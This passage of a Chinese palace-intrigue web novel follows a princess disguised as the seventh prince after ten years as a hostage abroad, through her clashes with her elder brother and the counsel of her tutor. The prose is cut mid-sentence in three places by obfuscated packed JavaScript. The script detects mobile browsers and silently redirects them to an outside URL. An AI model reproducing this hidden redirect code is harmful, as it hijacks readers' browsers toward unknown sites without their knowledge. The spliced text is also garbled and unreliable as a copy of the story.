“对了。”云喜走了两步,又倒回来,向着柳窈娘随意一指,吩咐道,“陛下说,殿下刚回宫,诸多事宜不便,身边需有个知根知底的人。咱家看你倒是个赤诚的,以后便去七殿下宫里服侍吧。”
“多谢公公。”柳窈娘急忙向着云喜福身,禁不住又落下泪来。
云喜挥了挥手,并未多言,头也不回的离开翊坤宫。
陆欣荣惨白着一张脸,点翠斜坠,再没了那份从容。她死死握住宫人的手,看向姜宁的目光满是怨毒。
“望儿……是母妃对不起你。”她喃喃开口。
“看来,母妃是想明白了。”姜宁微笑看着陆欣荣,眼里带了些真挚的笑意,“母妃身体不适,儿臣便不多做叨扰了。”
说完,她便已经带着柳窈娘转身。
踏出翊坤宫,寒意再次裹挟而来。雪依旧在下,没有停歇的迹象,宫门口等待的太监已经懂事的小跑着上前,将怀里依旧温热的暖袋递给姜宁,又替姜宁撑起了一把伞,将头上的风雪隔绝在外。
手心传来一阵暖意,暖意丝丝缕缕,顺着指尖,缠绕上心头。不过片刻功夫,连带着姜宁本来有些冷的脚掌都多了些暖意。
“殿下。”小太监躬身,带着恰到好处的谄媚,“步撵已经备好,可是要直接回乾清宫?”
姜宁没有立刻回答,只是推开了小太监笼在她头上的拿把伞。风雪没了遮蔽,瞬间再次向她扑面而来,她却恍若未觉。她微微仰头,看着这漫天纷飞的雪花,惊觉这雪花原来和她在燕国看的没什么不同。
“咳咳——”
姜宁忍不住发出两声咳嗽,柳窈娘心头一紧,急忙抢了小太监手里的伞,再次遮在了姜宁头上。
“殿下,风大。”柳窈娘心疼开口,眼里带了些湿润的泪意,“奴婢为您撑伞。”
姜宁没有答话,她伸出手,接住几片从伞外散落的雪花,看它们在指尖迅速消融,只留下一丝沁骨的凉意,仿佛从未出现过一般。
“走吧。”姜宁开口,迈步坐上步撵。
明黄色的华盖在风中摇曳,宫人起驾,脚步不停,唯有踩在积雪上发出吱呀的轻响。姜宁侧头看向撑伞缓缓前行的柳窈娘,目光落在了她泛红的手上,只觉得胸口泛起一阵细细密密的疼痛来。
“停下。”
姜宁的声音响起,不算大,却清晰无比的落在了每个人的耳中。抬着步撵的宫人驻足,将步撵小心放下。
“嬷嬷。”姜宁轻声开口,声音里带了些缱绻的温柔,“你且过来。”
柳窈娘执伞的手猛然一颤,伞面上的积雪便尽数落了下去。她急忙来到姜宁面前,还未来得及问询,暖袋便被姜宁塞进了她手中。
步撵再次抬起,不多时便到了乾清宫。
姜宁下了步撵,站在乾清宫前。
风雪似乎在此刻停歇,眼前红色的宫门亦静默不语。两盏八角宫灯悬在檐下,昏黄的灯光将她的影子拉的细长又扭曲,像是一只狰狞的小兽。
一阵脚步声传来,却是云喜又来了。
“殿下万安。”云喜向姜宁躬身行礼,脸上依旧带着和煦的笑意,缓缓道,“大皇子身子不适,陛下担忧,此刻已经起驾皇后娘娘宫里了。陛下特意让老奴来禀,您晚膳的时候便不用等候了。”
姜宁的目光从云喜身上收回,只是轻轻颔首,开口道:“有劳公公了。”
云喜脸上笑意不减,再次躬身:“殿下,奴才先行告退了。”
姜宁目送着云喜远去,踏入了乾清宫。
一缕风从她发间穿过,在宫墙内来回游走,吹到了皇后所在的椒房殿内,带了些许料峭的寒意。
“冀儿如何了?”姜夔坐在床榻边,伸手摸了摸姜冀的额头,触手还有些发烫,带着黏糊糊的汗意。
被姜夔这么一碰,姜冀本来紧闭的双眸猝然睁开,眼里带了些淡薄的水意。他挣扎着想要从床上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632622|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爬起,却又颓然倒下,声音带着沙哑:“父皇,儿臣……”
“躺着!”姜夔看着姜冀苍白的脸,伸手按住他的肩膀,示意他安心躺下,“都这般了,还讲究那些个虚礼作甚?”
“多谢父皇。”
“可按时喝药了?”姜夔转向站在床尾的皇后萧月言。
“已经喝过了。”萧月言开口,声音里带着哭腔,期期艾艾道,“太医说冀儿近日太过耗费心神,加之风邪入体,这才引发了高热,倒也不是什么大病。”
姜夔的目光落回姜冀脸上,眼里带了些探寻之色,面上却是不显:“你是朕的嫡长子,更该顾惜自己的身子。身子乃是根本,莫要仗着年轻,不把它当一回事。”
姜夔的声音不大不小,落在萧月言耳朵里,却如同阵阵惊雷。她急忙向着姜夔跪下,诚惶诚恐开口:“都是臣妾的错!”
“皇后何错之有?”姜夔头也不抬,声音依旧四平八稳,“冀儿生病,是他自身不够警醒,亦是身边的奴才伺候不周……”
姜夔的声音略微停顿,椒房殿也在此刻完全安静了下来。他的目光在姜冀和萧月言身上来回游走,最后落在了姜夔的贴身婢女身上。
“连主子都伺候不明白,这样的奴才有什么用?”
随着姜夔的话音落下,那婢女两腿一软,径直摔在了地上。
云喜会意,向着身后的小太监挥手。两个小太监得令,上前就要拖走那宫婢。
“父皇!”姜冀挣扎着起身,惨白着一张脸跪在了姜夔跟前,“是儿臣的错!同旁的人无关!还请父皇看着莲儿尽心尽力照顾儿臣十多年的情面上绕她一命!”
“冀儿!”萧月言惊呼出声,下意识想要搀扶姜冀起身,却正对上姜夔充斥着寒意的眼眸。
“陛下!”萧月言向着姜夔跪下,想要开口说些什么,最后还是选择了沉默。
莲儿惨白着一张脸,身体抖如筛糠。她张了张口,巨大的恐惧掐住她的咽喉,她甚至说不出一个字,只能向着帝王不住磕头,以此祈求他的宽恕。
大殿内静的厉害,只有莲儿以头抢地的“咚咚”声。她的额头逐渐红肿,渗出丝丝的血迹来。
“行了。”姜夔懒懒开口,目光凝在了姜冀弯曲的膝盖上,“既然大皇子为这婢女求情,朕便饶她一命。”
姜冀急急开口:“多谢父皇。”
“行了。”姜夔站起身,整理了身上的衣褶,“你既没什么大事,朕便回去了。”
明黄色的龙袍越走越远,逐渐消失在椒房殿门口。莲儿急忙起身,搀着姜冀缓缓从地上站起。
萧月言久久凝视着宫门口的方向,目露怨毒之色:“不过是个去燕国十年归来的质子,竟敢走东华门,住乾清宫。”
她的声音很低,每一个字都如同从牙缝中发出,带着森森的寒意。
“敢威胁冀儿的位置。”
“陆欣荣,姜望,本宫定要你和你的好儿子死无葬身之地!”
5. 第五章
无尽的雪原,在月光下泛着死寂的光。寒风卷刃,一股脑的向着姜宁涌来,如同刀剑,一点点在姜宁身上呼啸,带着细密的痛意。
雪越下越大,她在风雪中踽踽前行,不知要走向何方。
耳边响起阵阵狼嚎,她猝然回眸,正对上一双幽绿色的竖瞳。
只是一个眨眼,那狼便死在了她的脚下。狼的血浸染雪地,染上了她的长靴,带着微温的热度,将她的眼眶染得鲜红。
刹那间,那匹狼变成了刘嬷嬷的尸体。
姜宁从床上猛然坐起,大口大口的喘着粗气。冷汗浸湿中衣,黏在背上,带着丝丝凉意。屋子里的熏香环绕鼻尖,是淡淡的檀香。
“殿下,您醒了?”柳窈娘急忙开口,脸上是止不住的担忧,“可是做了噩梦?”
“我没事。”姜宁的目光逐渐凝聚在柳窈娘脸上,砰砰跳动的心口这才微微安定下来,她揉了揉眉心,吐出胸口氤氲的浊气,“嬷嬷,什么时辰了?好像有读书声。”
“快卯时了,想来是各位殿下在上书房准备上课了。”柳窈娘回答完,旋即像是想起了什么似的,继续开口,“云喜公公先前来过,陛下心疼你,让您今日好好休息,晚上他在太和殿宴请群臣,为您接风洗尘。”
“让人替我更衣吧。”姜宁揉了揉眉心,檀香沁鼻,她的思绪也一点点冷静了下来,“父皇体桖我,我却也该去上书房见见我的兄弟姐妹。”
柳窈娘欲言又止,最后还是默默点头,拿起不远处内务府今辰送来的衣袍。
衣袍是内务府昨夜用雨过天青赶制的,并非纯粹的绿,而是介于蓝色与绿色之间,如同天际那被雨水浸润的淡蓝微青。
大抵是昨夜柳窈娘的姜汤有效,姜宁的脸上多了些血色,不似昨日那般惨白,在衣袍的衬托下,连带着皮肤都白皙了几分。
姜宁穿戴整齐,出门时已经是卯时一刻了。
雪昨夜便已经停了,宫道上的雪早已经被宫人扫至两侧。她在宫道上缓缓前行,越是靠近上书房,朗朗的读书声便越发清晰。
上书房的太监瞧见姜宁,远远便迎了过来:“奴才福安,见过七殿下。”
“你认得我?”姜宁开口,声音依旧淡淡。
“殿下昨日才归来,奴才在上书房当值,自然不曾得见。”福安向着姜宁躬身,脸上带着温和的笑,眼角的褶皱都连带着多了几分,“只是奴才同云喜公公是同乡,有幸得公公提点过几句。”
“劳两位公公费心了。”姜宁点头。
“殿下可是要去上书房?”福安也是个机灵人,不再同姜宁多做攀谈,侧身让开道,“陈太傅性子古怪,连陛下都礼让他几分,最不喜别人打断授课。殿下若是要进去,最好在偏殿等待太傅放课。”
“既如此,我便在偏殿等候。”姜宁点头,向着偏殿行去。
她刚刚坐下,懂事的宫婢便泡了一杯茶来。茶水温热,可以直接饮用,到底是宫里的老人了。
姜宁轻啜了一口茶,淡淡的花香萦绕舌尖,丝丝暖意从舌尖涌入心口,再流入四肢百骸。
“对了。”姜宁放下茶盏,手指在杯沿轻轻摩挲,“这位陈太傅……”
姜宁故意停顿,举杯又喝了一口茶。
福安在上书房伺候这些个皇子皇女多年,自是个圆滑的,惯会察言观色。听见姜宁这般欲言又止的问询,当即开口道:“陈太傅姓陈,名实,乃三十多年前的状元,被先帝点入翰林。如今任职翰林院掌院学士,官居二品。”
“原来如此。”
福安觑着姜宁的脸色,见她脸上没什么不耐,似乎并未对他的自作主张表示不满,忙赔笑补充:“太傅为人清正,最重规矩学识,对皇子公主们一视同仁,只论学问人品,不论其他。”
姜宁听着福安的话,轻轻点头:“多谢公公提点。”
“殿下说的哪里话?”福安向姜宁躬身,将背又压弯了几分,“奴才何德何能,能够提点殿下?不过是奴才年岁大些,又在上书房待了几年,耳朵好使,把自己知道的禀告殿下罢了。”
说话间,嘈杂声传来,福安识趣的退下。姜宁向福安微微点头,放下茶盏,起身走入了上书房大殿之中。
大殿布置的很是简朴,除了十余张紫檀木桌彰显着华贵外,竟再无其他的摆件装饰。独属寒梅冷冽的香气丝丝缕缕涌入鼻尖,带了些紫檀的淡淡沉韵,两种香味混杂在一起,竟让她的脑子又清醒了几分。
一袭素衣的陈实坐在最前方,身形清瘦,头发略微有些花白。他坐在殿内最首处那张紫檀木桌前,此刻正伏在桌案上涂涂写写。
随着姜宁的踏入,殿内的众人也随之安静了下来。一道道目光向她投来,大多带着审视与警告。
姜宁对落在身上的目光视若无睹,缓步走到陈实面前,拱手行礼道:“学生姜望,见过太傅。”
陈实一边批改着诸多皇子交上的课业,一边头也不抬道:“殿下若是来上早课的,那便来迟了。”
听得陈实的话,就算方才福安已经同她说过这陈实的为人,她心里头已经有了准备,可姜宁还是止不住一噎。
“七弟。”
耳边传来沉沉男声,姜宁下意识回眸,正对上一张堆笑的脸。他虽然在笑,可笑意却不达眼底。在姜宁看来,不论是云喜还是刚才的福安,脸上的笑容都比他真切几分。
见姜宁不答话,男人眼里多了几分愠怒,可脸上的笑意却不减,反而显得有些狰狞。
“七弟十年未归,想来已经记不得我了。”男人继续开口,声音里带着咬牙切齿的恨意。
“大哥。”姜宁向姜冀拱手,声音里听不出喜怒,“十年不见,我从稚儿长成少年,大哥也已早生华发。”
“你!”
姜冀被姜宁这么一噎,瞬间涨红了脸。他的手指着姜宁,脸上的笑意早已褪去。恨意一点点攀附上他的脸,显得更加狰狞。
“七哥!”
一个甜甜的声音响起,打破了这份尴尬。紧接着,姜宁便觉得手心传来温热的触感。她循声望去,低头对上一张粉雕玉砌的脸。这人大抵十岁出头,穿着鹅黄色襦裙,脸上带着些许的婴儿肥,圆溜溜的眼睛和挺拔的鼻梁,小小年纪,便可窥见未来何等貌美。
“七哥,我是婉柔,排行十三。”姜婉柔开口,声音糯糯,听起来甜丝丝的,“母嫔同我讲过七哥的故事,在婉柔心里,七哥是顶天立地的大英雄。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632623|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“英雄么?”姜宁喃喃。
她去燕国时不过六岁,又是被贵妃所逼,不得不去,哪里算得上什么英雄?只是一个身不由己的可怜虫。
见姜宁不答话,姜婉柔紧了紧拉住姜宁的手,继续道:“七哥去燕国时比我还小,却为了晟国在燕十年,难道算不得英雄?”
“十年前,晟国大败,谢家满门忠烈,尽数埋骨淮水。”埋头批写的陈实再次开口,声音里满是笃定,“燕国要七殿下入国为质,殿下虽身不由己,却也是实打实的英雄。”
“七哥你听!”姜婉柔拉了拉姜宁的手,声音兴奋,“太傅都说你是英雄。”
“只是……”陈实微微一顿,依旧头也不抬,“英雄之名落在殿下身上,或许显得太过沉重。”
姜冀听得这话,心头一喜,脸上再次扬起了微笑。
福安站在角落里,不由得微微摇头。
英雄的名头如此之重,岂是一个少年郎担得起的?
十年前,陛下被迫应燕国之约,陛下视为耻辱。若说这七殿下是英雄,那答应他去燕国为质的陛下是什么?
若落在有心人听到这话,报到陛下耳中,引申为子荣父辱,恐怕会父子离心。
福安垂下眼眸,只盼这位殿下,莫要将那烫手的英雄称号放在心上。
“太傅可曾见过燕国的雪?”姜宁猝然开口,却问了一个突兀的问题。
姜宁抬起右手,看着手心处那道狰狞伤口,仿佛回到了十年前的那个雪夜。她在即将踏入燕国边境时遭遇刺杀,诸多侍卫以命相护。燕国前来接应之人就在前方不远处,可他们只是站在燕晟两国边界的另一端,冷漠的看着这场厮杀。
她拼尽了力气来到了边界的那头,可刺客还是来到了她的面前。她抓住刺客的剑,那把剑只需再往前一寸便可捅破她的心口。
这时候,那位前来接应的燕国将军才削下了刺客的头颅。
鲜血喷洒在她的脸上,还带着刺客的体温。
前方尸横遍野,红色弥漫眼眶。浓重的血腥味充斥鼻尖,她却听见身旁的那些燕人在笑。
“我见过的。”姜宁从回忆中挣脱,眼睛里氤氲出些许的水意,“很多人都见过。”
“十年前,谢家除了年仅八岁的幼子,谢家军满门忠烈,尽皆埋骨淮水。”
“十年前,护卫我的诸多无名将士遭遇刺杀,来不及马革裹尸,便永远留在了异乡。”
“他们才是英雄。”姜宁吐出一口浊气,将胸口涌起的诸多情绪吐出,泪水逐渐浸湿眼眶,又再次被她憋了回去,“而我姜望……”
“不过是得他们庇佑,有幸活下来的那个人。”
“这样的人,算什么英雄?”
姜宁的声音并不大,可每一个字,却振聋发聩。
陈实从堆积如山的书案中抬起头来,第一次正儿八经的打量起姜宁——身形不算高,面目虽阴柔,眉眼间却自带一股不羁的英气。
他就这么看着看着姜宁良久,直到一滴墨从他笔尖坠落,在纸上染出一团小小的墨迹。
片刻后,他将笔放于笔架之上,站起身向姜宁垂首一揖。
千言万语,尽在不言中。
6. 第六章
姜宁被姜婉柔拉着来到她的桌案前坐下,大殿里再次恢复了嘈杂。有了方才的那一番讨论,年岁小一些的皇子皇女们都向着姜宁围了过来,叽叽喳喳,好不热闹。
他们大多是好奇燕人是否如传闻一般茹毛饮血,更加好奇燕国那般苦寒,除了风雪,还有些什么其他晟国没有的新鲜玩意儿。
姜宁被围绕其中,只觉得头疼。
“好了,继续上课。”
陈实拍了拍桌子,大殿瞬间安静了下来。刚才还围着姜宁的皇子皇女们一哄而散,各自回到自己的座位上。
殿内重归寂静,陈实开始讲学。
陈实的声音很平稳,不高不低,讲解深入浅出,将《尚书》中那些原本晦涩难懂的句子,与一些微末小事联系起来,就算是稚龄幼童也能听懂几分,不愧是帝师。
“舜流共工于幽州,放驩兜于崇山。”陈实讲到《舜典》中的这一段时,突然停了下来,他环视一圈,从一张张年轻的面孔上划过,开口道,“各位殿下以为,舜此意何为?”
随着他的话音落下,大殿内一时间安静了下来。皇子皇女们有的低头沉思,有的相互交换着眼色,却无人立刻作答。这个问题看似简单,但因出题人是陈实,回答更需谨慎。
“共工治水无功,驩兜举荐无方。”姜婉柔率先起身,打破了这份安静,她向着陈实端正一揖,缓缓开口,“太傅,学生以为,舜帝此举,既是以儆效尤,又是警示后来者,若居其位,必要谋其政,负其责。”
“善。”陈实点头,示意姜婉柔坐下,继续开口,“可有其他意见?”
“学生有不同意见。”丽妃膝下的四皇子姜澄起身,声音里带了些许阴恻恻的冷意,“学生以为,此为舜示己之仁德,亦是另一种变相的惩戒。对于共工驩兜而言,或许失去权柄与荣耀,远比死亡更加痛苦。”
陈实不置可否,目光依旧在殿内巡视。
“四弟和婉柔所言均有道理,却都未尽其意。”姜冀缓缓起身,他先向陈实执弟子礼,而后沉声开口,“在学生看来,舜帝流放二凶,非止于惩戒,更在于立威。尧帝在位之时,四岳荐鲧治水,九年不成。至舜摄政,首惩共工、驩兜,非一时意气,而是肃清前朝积弊,更是向天下昭示权柄与仁德。”
陈实微微点头,看向姜冀的眼里多了些柔和的暖意。
姜冀顿了顿,目光若有似无地扫过姜宁的方向,唇角微扬,带了些挑衅的意味:“况且,幽州、崇山皆在边陲,舜帝此举,既是为了让其教化边民,更是为了让其远离权利中心,告诉他们——云泥之位,各有归处。妄动非分之想,必噬其身。”
这话说的委婉,却字字如刀,皆挥向姜宁。陈实微微皱眉,目露复杂,却终究没有多说什么。
姜婉柔自然也听懂了姜冀这番话,脸色微沉。她刚准备起身反驳,却被一只骨节分明的手抓住了手腕。微凉的冷意顺着手腕相接处传来,她诧异转头,正对上姜宁那双平静无波的眼眸。
“大哥所言,七弟不敢苟同。舜帝流放二凶,并非划定云泥。”姜宁止了姜婉柔的动作,缓缓缓缓起身,看着姜冀所在,目光如炬,她忽而一笑,转向陈实认真一揖,这才继续开口,“《尚书》有云:‘皇天无亲,惟德是辅’。舜帝惩治二凶,正如婉柔妹妹所说,乃是因其失德。在学生看来,舜帝此举,是告诉天下人——位非天定,惟德者居之。”
“更何况……舜乃乐官瞽叟之子,受尧禅让后称帝。世间又有多少豪杰出生草莽,多少名臣贤将起于微末?若依皇兄所言,云泥之位,各有归处,亘古不变。难道这天地造化,独独对他们网开一面,许这‘泥’化作‘云’?”
姜宁声音淡淡,说出的话却格外锋利。她每一个字落下,姜冀的脸色变青白一分,到了最后,只剩了一片铁青。他死死盯着姜宁,几乎要将她生吞活剥。
“有趣!”姜澄轻笑出声,抚掌打破了这片寂静。
“何为云?何为泥?不过人定。”姜澄斜斜倚在书案上,目光从姜冀铁青的脸上掠过,脸上的笑意又多了几分,看向姜宁的眼里也多了几分打量的意味,“七弟说的不错。四时轮转,沧海桑田,这世间哪来的永恒不变?”
这番话如同火上浇油,顷刻便点燃了姜冀的怒火。可如今这般场景,他也只能硬生生憋住了自己的火气。
“七弟在燕国那般蛮夷之地十年,竟能说出这番见解,着实让我大开眼界。”姜冀冷冷的看着姜宁,眼里的怒意几乎要化作实质的刀刃,“看来这上书房,日后要热闹起来了。”
“好了。”
陈实知道任由他们继续说下去,今日定难收场,急忙开口打断了几人间的剑拔弩张。
“方才我问各位殿下舜帝之意,十三公主言惩戒警示,四殿下重在仁德诛心,大殿下谈立威。各位殿下所言,如盲人摸象,各执一端,而舜帝之意,在于兼而有之,臣不复多言。”
“只是……两位殿下所言云泥之别,臣以为都不准确。”陈实略微停顿,眸光转向姜宁和姜冀,“《道德经》言,天地不仁,以万物为刍狗。圣人不仁,以百姓为刍狗。然,人道治世,需立纲常,是故尊卑有序,君臣有别。上位者即为云,其尊在德,下位者即为泥,其卑在守。君明臣贤,父慈子孝,兄友弟恭。这世间的纲常,终究在于各安其位,各司其职。”
“太傅宏论,振聋发聩。”姜宁再次站起,向陈实一揖,声音依旧淡淡,“只是学生有一处不解,想请太傅解惑。”
“殿下请讲。”
“太傅引《道德经》,言天地不仁,以万物为刍狗,学生故有此问。圣人效法天地,既天地视万物平等,又何来的云泥之分?”她微微抬起眼眸直视陈实,目光澄正,不闪不避,“太傅说,这世间的纲常,终究在于各安其位,各司其职。可若上位者只以‘德’自居,无泽被苍生之实,下位者只知固守其‘卑’,而无进取之机,那又该如何?”
话音落下,满殿寂然。
姜夔和镇北王陆起站在殿外,身上还穿着未褪的朝服。
风从略微打开的门缝中
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632624|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
涌入,吹动书桌上的本本书籍,发出“哗哗”响声。姜宁负手而立,天青色的衣衫被风吹动,脊背却挺得笔直。
“那殿下以为该如何?”陈实没有立刻回答姜宁的问题,而是又把问题抛了回去。他看着姜宁,并未因为姜宁的问题有任何的不满,反而唇角上扬,眼里也带了些隐隐的欣赏。
姜宁微微皱眉,沉思片刻后,再次开口:“户枢不蠹,流水不腐,人亦如是。”
“若以纲常为锁,尊卑为链,将人化分云泥,便似活水流入死潭,终会干涸。”姜宁开口,声音算不得大,却响彻整个大殿,“学生拙见,真正的纲常,应如活水。正如科举之途,为其开辟河道,使智者尽其谋,勇者竭其力,使布衣可登青云梯,巾帼亦不让须眉。如此,虽有尊卑之分,高低之势,可云泥之势,却时刻变迁。”
“大善。”陈实看着姜宁,眼里欣赏之色更甚。
“殿下生而为‘云’,却能察‘泥’之不易,老臣欣慰。”他手抚长须,声音缓缓,“然,微臣也有几句话想嘱咐殿下。”
“请太傅赐教。”
“活水固然有生机,却也暗藏激流。这‘云泥变迁’之道,若把握不当,或许会适得其反,酿成滔天大祸。殿下想到了开辟河道,这很好,可这河道该开在哪里,该如何开辟,又该让谁来开辟,非一腔热血可成,皆需深思熟虑,谨慎为之。”
姜宁肃然,向着陈实深深一揖:“学生,谨记太傅教诲。”
大殿外,姜夔的目光投向身侧的陆起,低声问询:“陆卿,你觉得朕这个老七如何?”
陆起透过微微打开的门缝,目光落在姜宁的背影上。姜宁的背挺得笔直,无论是陈实先前的浑不在意到后来的欣赏,还是众多皇子皇女的热切打量,似乎都对她没什么影响。这份沉静与韧劲,竟比他自己亲手教养出的望儿,更像他陆家的种。
“千磨万击还坚韧,任尔东西南北风。”陆起的目光从姜宁身上收回,落在了腰间的玉佩上,眸色沉沉,“像青竹。”
姜夔闻言,眉梢微挑,脸上没有什么多余的表情。
“青竹虽韧,却易折。”他转过身,再次将目光凝聚在姜宁身上,他微微停顿,声音里带了些捉摸不透的深意,“尤其是……初生之竹。”
“这孩子去燕地十年,却也没闲着,竟能说出这‘活水’之论,看来也是用了心的,不过……”姜夔话音一转,活动了一下有些发硬的身体,“纸上谈兵终究不够,有时候,还得去碰壁吃亏。”
“既然他提到了科举,便让他去仪制司做个主事,陆卿以为如何?”姜夔开口。
陆起心头一震。
陛下正值中年,还没有立太子的心思,可他让姜宁过东华门、住乾清宫,如今又让她任正六品的仪制司主事,难道是生了让她坐那个位置的心思?
若她是男儿,愿意为晟国为质十年,归来又有这等意气,就算她身上没有陆家的血又如何?
只可惜……是个女儿家。
终究是……难承大统。
7. 第七章
大殿之外的事众人自是不知。
此时已经放了课,其他人都已经离去。福安识趣的关了门,唯有姜宁站在陈实跟前,看着陈实收拾桌上的书卷,一声不吭。
这种怪诞的沉默,让姜宁心里头涌起来些许不安。
“殿下。”不知过了多久,陈实终于收拾完毕,从书案前抬起头来,眼里多了几分关切,“老臣知道殿下在燕国为质十年不易,生在天家,却尝尽离乱之苦。如今终于归来,急于证明自己。可是,殿下更该明白另一个道理。”
姜宁心头略微一暖,开口道:“太傅可是想说,木秀于林风必摧之。”
“年轻人有锐气是好事,可这世间最难得的不是锐气,而是懂得藏锋的智慧。”陈实点头,缓缓站起身,走到了姜宁的面前,“老臣此言,并非让殿下磨去锋芒,甘于平庸,而是希望殿下在保有锋芒的同时,要学会何时该藏,何时该显。”
陈实不再说话,只是伸手拍了拍姜宁的肩膀,从她身旁缓缓走过。
姜宁转身,看着陈实略微佝偻的背影,追问道:“太傅觉得,我今日不该显?”
陈实的步履顿住,微不可察的叹了口气。
这终究只是个十六岁的少年郎。
他没有说话,只是摇了摇头,继续向前走去。
“太傅可知,我在燕国和晟国交界处,遭遇过两次致命的刺杀。一次是去,一次是回。”姜宁的话音落下,大殿内的寒梅香似乎都凝滞了片刻。
她并没有讲述那两场刺杀是何等惊心动魄,亦没有讲述她是如何死里逃生。她只是平静的举起自右手,露出上边狰狞的疤痕,声音淡淡:“藏锋固然是大智慧,可有些时候,身在局中,由不得我。”
“既然藏锋无用,那便让它足够锋利,锋利到足够砍断一切。”
陈实缓缓转身,看着站在原地一动不动的少年,目光落在了姜宁的右手上。蜿蜒的疤痕几乎横亘了她的整个手掌,虽已经结痂,看起来却仍旧骇人。
他的目光从疤痕移开,缓缓抬头,对上姜宁不服输的眼眸。
陈实心头微微一怔,想起了年轻时候壮志满怀的自己。
这眼神何其熟悉?几十年前,他高中状元,站在金銮殿上面圣时也是这般。
欲买桂花同载酒,终不似,少年游啊!
陈实长叹了一口气,拉过姜宁的右手,缓缓覆上她掌心的疤痕。那微微隆起的凹凸不平,可知伤口当初的深可见骨。
“剑,乃凶器。若锋芒毕露,固然可震慑宵小,却也可能伤及无辜,反噬己身。匹夫之勇,不过血溅五步。天子之怒,却是流血百万,伏尸千里。”
“殿下想要剑更锋利,老臣却想告诉殿下……”陈实缓缓开口,声音里不复最初的冷硬,多了些脉脉的温情,“比起让手中的剑更利,老臣希望殿下执剑的手更稳、心更明。”
“老臣话有些多了,殿下恕罪。”陈实收回手,向姜宁轻轻一拜,头也不回的向大殿外走去。
姜宁凝视着陈实越走越远的背影,手心被他触摸过的疤痕开始渐渐发烫。与太傅指尖相触的地方余温犹在,似乎还夹着些许淡淡的寒梅香味。她缓缓抬起右手,那道本来丑陋无比的疤痕,竟在她眼里开始蜿蜒盘升,变成了一支形状奇异的梅枝。
姜宁缓缓收拢右手,握成了一个拳头。
离开晟国前,她只是这偌大皇宫里毫不起眼的野草,有着公主的身份,却没享受过一天的荣华。被陆欣荣想起,替代姜望入燕为质后,她成了人前的公子,人后的笑料。
在马车上,她离晟国越来越远,可她的心却越来越静。
她告诉自己,不过是十年,古有勾践卧薪尝胆,今有姜宁李代桃僵。
那时她那么天真。
天真的以为,十年后,她真的可以凭借顶替姜望为质的这份功劳,让贵妃娘娘允许她带着娘亲远走高飞。
可是她错了。
十年前,手掌的疼痛和燕人的笑声让她明白,这世上的道理,从不站在弱者的身后。不论她多么用力的祈求上苍,都不会得到任何的回应。
人生于世,能依靠的,只有自己。
从那天起,她就告诉自己。
她不再需要“十年之期”的幻想来麻痹自己,也不再奢望十年后贵妃的垂怜。
那天,她经历了一场涅槃。
曾经的姜宁死了。
活下来的人,是崭新的姜望,是晟国的七皇子姜望。
她学着男儿的步态,拿捏着男儿的腔调,不敢让一个人近身,也不曾睡过一个囫囵觉。初次来葵水时,小腹的陌生绞痛,让她差点儿以为自己就要死了。
那些个皇子皇女嘲笑奚落她,刘嬷嬷在她耳边不断磋磨她。
她都不在乎。
她告诉自己,只需要再忍耐十年。
十年,三千多个日夜,她所能做的,只是一遍遍摩挲着母亲给她缝制的衣衫,指尖划过每一个细密的针脚,都像是在描摹远方故国的舆图。
她心中的剑藏了十年,涅槃之火在她的身体里燃烧了十年。
她本想在今夜彻底重生,在文武百官面前,亮剑指向造成这一切的陆欣荣和她背后的陆家,可陈实的话却蓦然点醒了她。
她心中的剑虽已经寒意逼人,可她执剑的手却并不平稳。
正如陆欣荣所说,陛下还指望着陆家为晟国出征,就算会震怒,又能怎么样呢?文武百官虽在,又真的会为她一人,对抗整个陆家吗?
“剑,乃凶器。若锋芒毕露,固然可震慑宵小,却也可能伤及无辜,反噬己身。”
陈实的声音在她耳边回响,让她的心也一点点平静了下来。
今夜她若真的亮剑,剑锋所指,真的是陆家的咽喉吗?还是……会先斩断她隐忍十年才挣来的前路?再搭上她和娘亲的两条微薄之命?
“匹夫之勇,不过血溅五步。天子之怒,却是流血百万,伏尸千里。”
陈实的话再次在姜宁的耳边炸响,让姜宁有些混沌的脑子又明晰了几分。
十年前她早早明白的道理,怎么在十年后踏上故土的时候,居然又生出了那可悲的妄念?她竟还是那般天真,天真的想要指望君王垂怜,来替她讨回所谓的公道?
姜宁捂脸,禁不住发出阵阵笑声。笑声初时极淡,渐渐变大,到了最后,演变成哈哈大笑。
等她笑够了,她这才深吸一口气,抬步向着殿外行去。
“殿下。”柳窈娘在上书房外徘徊许久,终于瞥见姜宁的身影走了出来,她急忙迎上前去,将手里厚重的披风披在她身上,担忧问询,“怎么这么晚才出来,可是其他殿下可刁难你了?”
